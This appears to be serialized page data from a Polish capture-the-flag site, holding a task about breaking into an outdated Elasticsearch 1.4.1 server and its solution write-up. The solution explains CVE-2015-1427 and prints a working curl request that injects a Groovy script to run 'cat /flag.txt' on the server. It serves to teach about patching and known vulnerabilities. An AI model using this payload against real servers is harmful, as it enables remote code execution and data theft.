[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$api-N3eyv0MC1WXQVjh5tNhpSrRKSkHWR3wbjdM6Kyp2dAk":3,"task-description-logs-aint-logging":4,"task-logs-aint-logging":5,"task-solution-logs-aint-logging":6,"MarkdownContent_jFmEY6kaCAh5ZQg1APYuvbx1MwPqbU5PbFeAk32npg":7},"Po co te aktualizacje?","W trakcie tworzenia naszej strony [Hack4Krak](https://hack4krak.pl) stworzyliśmy [logi](https://pl.wikipedia.org/wiki/Log_(informatyka)) strony, w celu monitorowania jej działanie.\n\nUżyliśmy do tego bardzo fajnego narzędzia — [Elasticsearch](https://www.elastic.co/what-is/elasticsearch), ale nie jesteśmy pewni czy to rozwiązanie jest wystarczająco bezpieczne.\n\n\n## Zadanie\n\nWejdź na stronę https://logs-aint-logging.hack4krak.pl\n\nSpróbuj włamać się na serwer i przeczytać plik `/flag.txt`?\n\n## Podpowiedź\n\nTo nie jest program napisany przez nas, to bardzo popularne rozwiązanie. Może znajdziesz coś ciekawego, szukając informacji w Internecie?\n\nSystem, na którym jest uruchomiony serwer, to oczywiście Linux.\n",[],"## Opis\n\nAktualizowanie oprogramowania to bardzo ważna sprawa.\nUżywamy wersji Elasticsearch `1.4.1`, która została wydana w **2014 roku**! Obecna wersja to już `9.0.1`.\n\nStare wersje oprogramowania często zawierają luki bezpieczeństwa — tak jest również w tym przypadku.\n\n## Rozwiązanie\n\nNa początku warto sprawdzić, jakie są znane podatności dla tej wersji.\n\nPo chwili szukania można trafić na `CVE-2015-1427`. CVE (Common Vulnerabilities and Exposures) to unikalny identyfikator nadawany znanym lukom w oprogramowaniu.\n\nW tym przypadku ta luka umożliwia wykonanie dowolnego kodu na serwerze, np. odczyt plików. W Internecie jest dużo opisów i przykładów jak go wykonać - np. [tutaj](https://github.com/vulhub/vulhub/blob/master/elasticsearch/CVE-2015-1427/README.md).\n\nW uproszeniu wystarczy wysłać takie zapytanie:\n```shell\ncurl -XPOST 'http://localhost:9200/_search?pretty' -H 'Content-Type: application/json' -d '\n{\n  \"size\": 1,\n  \"query\": {\n    \"match_all\": {}\n  },\n  \"script_fields\": {\n    \"test\": {\n      \"lang\": \"groovy\",\n      \"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /flag.txt\\\").getText()\"\n    }\n  }\n}\n'\n```\n\nPole `script` nie powinno być wykonywane, a jest i dzięki temu możemy wykonać dowolną komendę. \nW naszym przypadku jest to `cat /flag.txt` - czyli wyświetlenie zawartości tego pliku.\n\n### Podsumowanie\n\nW cyberbezpieczeństwie nie zawsze trzeba samemu odkrywać podatności.\nIstnieją bazy takie jak CVE, które dokumentują znane luki.\n\nAby zautomatyzować ich wyszukiwanie i wykorzystanie, można korzystać z narzędzi takich jak [Metasploit](https://www.metasploit.com/), które umożliwiają testowanie wielu podatności.",["Island",8],{"key":9,"params":10,"result":12},"MarkdownContent_jFmEY6kaCAh5ZQg1APYuvbx1MwPqbU5PbFeAk32npg",{"props":11},"{\"text\":\"W trakcie tworzenia naszej strony [Hack4Krak](https://hack4krak.pl) stworzyliśmy [logi](https://pl.wikipedia.org/wiki/Log_(informatyka)) strony, w celu monitorowania jej działanie.\\n\\nUżyliśmy do tego bardzo fajnego narzędzia — [Elasticsearch](https://www.elastic.co/what-is/elasticsearch), ale nie jesteśmy pewni czy to rozwiązanie jest wystarczająco bezpieczne.\\n\\n\\n## Zadanie\\n\\nWejdź na stronę https://logs-aint-logging.hack4krak.pl\\n\\nSpróbuj włamać się na serwer i przeczytać plik `/flag.txt`?\\n\\n## Podpowiedź\\n\\nTo nie jest program napisany przez nas, to bardzo popularne rozwiązanie. Może znajdziesz coś ciekawego, szukając informacji w Internecie?\\n\\nSystem, na którym jest uruchomiony serwer, to oczywiście Linux.\\n\"}",{"head":13},{"style":14},[15],{"innerHTML":16},"@layer base {:where(.i-lucide\\:hash){display:inline-block;width:1em;height:1em;background-color:currentColor;-webkit-mask-image:var(--svg);mask-image:var(--svg);-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100% 100%;mask-size:100% 100%;--svg:url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='24' height='24'%3E%3Cpath fill='none' stroke='black' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M4 9h16M4 15h16M10 3L8 21m8-18l-2 18'/%3E%3C/svg%3E\")}}"]